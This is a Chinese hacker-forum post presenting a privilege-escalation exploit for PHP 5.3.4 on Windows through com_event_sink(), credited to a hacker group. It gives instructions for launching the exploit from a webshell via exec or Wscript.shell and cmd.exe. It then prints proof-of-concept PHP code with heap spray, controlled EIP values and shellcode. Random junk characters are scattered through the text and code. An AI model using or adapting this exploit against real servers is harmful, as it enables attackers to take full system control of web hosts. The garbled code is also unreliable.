|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
5 v+ P q. H. |7 M, l$ x3 H
* @& Q8 u+ b& Y9 \. c0 Y0 b( Z4 M测试方法如下:cmd /c x:\php\php.exe x:\test.php
# U; c5 f7 O% W# }: Z+ `2 Q2 X; S6 P* r7 O$ u+ v' A0 M/ A& S
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php, u% u8 d' m0 X3 Z }4 k
这里是两个测试的截图:
# T3 @/ f2 U, G6 s5 C t+ v8 O q! h
' Y! B% ~ \' A$ c) ]$ V+ K) _5 L* i ~( V& w3 q. l
" D5 n5 N' r* y% h% C' [
- Y3 y* b# a3 ^( x. @0 m
成功利用此漏洞的攻击者将获得系统的最高权限
& s# n1 Q$ P2 U' @
$ J. z9 [0 j' m: p, c6 r( d* S' i; ]. {3 x4 ~$ C
3 ]9 E! L0 E* n1 s2 H+ s4 W( {5 o! A5 \/ V" O
2 N$ i5 ?. V7 H$ H# G) Y" X7 q关于漏洞分析稍后附上。一下是PoC代码:4 ^2 Z3 m4 L* z
- `) ?; b) c# D; X<?php0 d- ?5 C8 C& l x, ^, q" r7 r
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
6 H) D/ m& I# a z8 A/ }//$eip ="\x44\x43\x42\x41";
/ d# g) M( U( Z$ U F6 T$eip= "\x4b\xe8\x57\x78";
/ z7 i3 F) q; k( [$eax ="\x80\x01\x8d\x04";' }3 f' q7 B7 ?7 Y# M- U
$deodrant="";
4 }* T' n( K* S9 Q# R3 |$axespray = str_repeat($eip.$eax,0x80);
3 o8 b: Z5 f m% q$ }//048d0190* k5 L0 B4 M0 p
echo strlen($axespray);
8 U f- u" C# T" _! T0 s( Q9 l3 w; qecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";& @8 W4 D) t% \! q
echo "Silic Group Hacker Army - BlackBap.Org";4 ~9 f! w, D+ ^- ^) k" \ g" b
//19200 ==4B32 4b00
4 b/ f. K3 I2 h2 S! Wfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
! U/ Z# Y; G& d! C$terminate = "T";
) I- \( h3 U, E$u[] =$deodrant;/ i& B- z" K3 j( ^' k8 d/ k
$r[] =$deodrant.$terminate;
/ N. S6 R D% j9 [" `, x$a[] =$deodrant.$terminate;5 C: w6 z0 f2 \' B n
$s[] =$deodrant.$terminate;' C/ s$ y1 V& V/ P( _, L H
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的, i% r2 X* ^- |2 k8 K$ N8 Y0 A
$vVar = new VARIANT(0x048d0000+180);
& u. {; J7 I0 B0 O$ N9 W! ?( Y//弹窗代码(Shellcode)
/ G: ]! H k5 Q, n$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
4 t7 P# S: t3 F5 k& K$var2 = new VARIANT(0x41414242);
& m7 F4 x' f |com_event_sink($vVar,$var2,$buffer);' b" A# Q1 r+ Q/ w. e, B
?>
- b" L% e. _' ~4 V$ q% Q |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|